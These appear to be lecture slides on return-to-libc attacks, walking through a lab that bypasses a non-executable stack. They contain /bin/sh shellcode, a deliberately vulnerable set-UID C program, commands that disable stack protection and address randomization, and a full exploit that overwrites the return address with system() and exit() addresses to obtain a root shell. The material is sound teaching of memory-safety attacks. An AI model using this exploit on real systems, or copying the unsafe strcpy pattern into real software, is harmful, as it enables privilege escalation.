

Return-to-libc Attacks

Outline

- Non-executable Stack countermeasure
- How to defeat the countermeasure
- Tasks involved in the attack
- Function Prologue and Epilogue
- Launching attack

Non-executable Stack

Running shellcode in C program

```
/* shellcode.c */
#include <string.h>

const char code[] =
    "\x31\xc0\x50\x68//sh\x68/bin"
    "\x89\xe3\x50\x53\x89\xe1\x99"
    "\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
    char buffer[sizeof(code)];
    strcpy(buffer, code);
    ((void(*) ( ))buffer) ( );
}
```

Calls shellcode

Non-executable Stack

- With executable stack


```
seed@ubuntu:$ gcc -z execstack shellcode.c
seed@ubuntu:$ a.out
$ ← Got a new shell!
```

```
seed@ubuntu:$ gcc -z noexecstack shellcode.c
seed@ubuntu:$ a.out
Segmentation fault (core dumped)
```

How to Defeat This Countermeasure

Jump to existing code: e.g. `libc` library.

Function: `system(cmd): cmd` argument is a command which gets executed.



Environment Setup

```
int vul_func(char *str)
{
    char buffer[50];

    strcpy(buffer, str);    ①
                            Buffer overflow
                            problem

    return 1;
}

int main(int argc, char **argv)
{
    char str[240];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 200, badfile);
    vul_func(str);

    printf("Returned Properly\n");
    return 1;
}
```

This code has potential buffer overflow problem in `vul_func()`

Environment Setup

“Non executable stack” countermeasure is switched **on**, StackGuard protection is switched **off** and address randomization is turned **off**.

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c  
$ sudo sysctl -w kernel.randomize_va_space=0
```

Root owned Set-UID program.

```
$ sudo chown root stack  
$ sudo chmod 4755 stack
```

Overview of the Attack

Task A : Find address of `system()`.

- *To overwrite return address with `system()`'s address.*

Task B : Find address of the “`/bin/sh`” string.

- *To run command “`/bin/sh`” from `system()`*

Task C : Construct arguments for `system()`

- *To find location in the stack to place “`/bin/sh`” address (argument for `system()`)*


Task A : To Find `system()`'s Address.

- Debug the vulnerable program using `gdb`
- Using `p` (print) command, print address of `system()` and `exit()`.

```
$ gdb stack
(gdb) run
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) quit
```

Task B : To Find “/bin/sh” String Address

Export an environment variable called “MY_SHELL” with value
“/bin/sh”.



```
graph TD; A[Export an environment variable called "MY_SHELL" with value "/bin/sh".] --> B["MY_SHELL is passed to the vulnerable program as an environment variable, which is stored on the stack."]; B --> C[We can find its address.];
```

MY_SHELL is passed to the vulnerable program as an environment variable, which is stored on the stack.

We can find its address.

Task B : To Find “/bin/sh” String Address

```
#include <stdio.h>

int main()
{
    char *shell = (char *)getenv("MY_SHELL");

    if(shell){
        printf("  Value:   %s\n",   shell);
        printf("  Address: %x\n", (unsigned int)shell);
    }

    return 1;
}
```

```
$ gcc envaddr.c -o env55
$ export MY_SHELL="/bin/sh"
$ ./env55
Value:   /bin/sh
Address: bffffe8c
```

**Export “MY_SHELL”
environment variable and
execute the code.**

Code to display address of environment variable

Task B : Some Considerations

```
$ mv env55 env7777
$ ./env7777
Value:  /bin/sh
Address: bffffe88
```


- Address of “MYShell” environment variable is sensitive to the length of the program name.
- If the program name is changed from env55 to env7777, we get a different address.

```
$ gcc -g envaddr.c -o envaddr_dbg
$ gdb envaddr_dbg
(gdb) b main
Breakpoint 1 at 0x804841d: file envaddr.c, line 6.
(gdb) run
Starting program: /home/seed/labs/buffer-overflow/envaddr_dbg
(gdb) x/100s *((char **)environ)
0xbffff55e:  "SSH_AGENT_PID=2494"
0xbffff571:  "GPG_AGENT_INFO=/tmp/keyring-YIRqWE/gpg:0:1"
0xbffff59c:  "SHELL=/bin/bash"
.....
0xbfffffb7:  "COLORTERM=gnome-terminal"
0xbfffffd0:  "/home/seed/labs/buffer-overflow/envaddr_dbg"
```

Task C : Argument for `system()`

- Arguments are accessed with respect to `ebp`.
- Argument for `system()` needs to be on the stack.

Need to know where exactly `ebp` is after we have “returned” to `system()`, so we can put the argument at `ebp + 8`.




Frame for the `system()` function

Task C : Argument for `system()`

Function Prologue

```
pushl    %ebp
movl     %esp, %ebp
subl     $N, %esp
```

esp : Stack pointer
ebp : Frame Pointer




Task C : Argument for `system()`

Function Epilogue

```
movl  %ebp, %esp  
popl  %ebp  
ret
```

esp : Stack pointer
ebp : Frame Pointer



Function Prologue and Epilogue example

```
void foo(int x) {  
    int a;  
    a = x;  
}
```

```
void bar() {  
    int b = 5;  
    foo (b);  
}
```

```
$ gcc -S prog.c  
$ cat prog.s  
// some instructions omitted  
foo:
```

pushl %ebp

①

movl %esp, %ebp

subl \$16, %esp

movl 8(%ebp), %eax

movl %eax, -4(%ebp)

②

leave

ret

1


Function prologue

2

Function epilogue


$8(\%ebp) \Rightarrow \%ebp + 8$

How to Find system()'s Argument Address?




- In order to find the `system()` argument, we need to understand how the `ebp` and `esp` registers change with the function calls.
- Between the time when return address is modified and `system` argument is used, `vul_func()` returns and `system()` prologue begins.

Memory Map to Understand `system()` Argument



Flow Chart to understand system() argument

```
movl  %ebp, %esp  
popl  %ebp  
ret
```



Jump to system()

system() prologue is executed

Return address is changed to system() address.

ebp is replaced by esp after vul_func() epilogue

"/bin/sh" is stored in ebp+8

ebp is set to current value of esp

Check the memory map

```
pushl  %ebp  
movl   %esp, %ebp  
subl   $N, %esp
```

19

ebp + 4 is treated as return address of system(). We can put exit() address so that on system() return exit() is called and the program doesn't crash.

Malicious Code

Assuming the difference between `$ebp` and `&buf` is 58. Thus, we are using the address of `&buf[58 + 4]`, `&buf[58 + 8]` and `&buf[58 + 12]`

```
// ret_to_libc_exploit.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
```

```
    char buf[200];
    FILE *badfile;
```

```
    memset(buf, 0xaa, 200); // fill the buffer with non-zeros
```

```
    *(long *) &buf[70] = 0xbffffe8c ;    // The address of "/bin/sh"
    *(long *) &buf[66] = 0xb7e52fb0 ;    // The address of exit()
    *(long *) &buf[62] = 0xb7e5f430 ;    // The address of system()
```

```
    badfile = fopen("./badfile", "w");
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

`ebp + 12`

`ebp + 8`

`ebp + 4`

Launch the attack

- Execute the exploit code and then the vulnerable code

```
$ gcc ret_to_libc_exploit.c -o exploit
$ ./exploit
$ ./stack
#      ← Got the root shell!
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm) ...
```

Summary

- The Non-executable-stack mechanism can be bypassed
- To conduct the attack, we need to understand low-level details about function invocation
- The technique can be further generalized to Return Oriented Programming (ROP)